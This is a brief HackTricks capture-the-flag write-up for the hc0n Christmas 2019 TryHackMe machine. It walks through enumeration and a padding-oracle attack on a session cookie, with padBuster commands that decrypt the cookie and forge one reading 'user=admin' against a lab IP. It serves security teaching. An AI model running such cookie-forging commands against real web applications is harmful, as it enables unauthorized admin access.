hacktricks/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md

hc0n Christmas CTF - 2019

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Enumeration

I started enumerating the machine using my tool Legion:

There are 2 ports open: 80 (HTTP) and 22 (SSH)

In the web page you can register new users, and I noticed that the length of the cookie depends on the length of the username indicated:

And if you change some byte of the cookie you get this error:

With this information and reading the padding oracle vulnerability I was able to exploit it:

perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"

Set user admin:

perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"

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• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.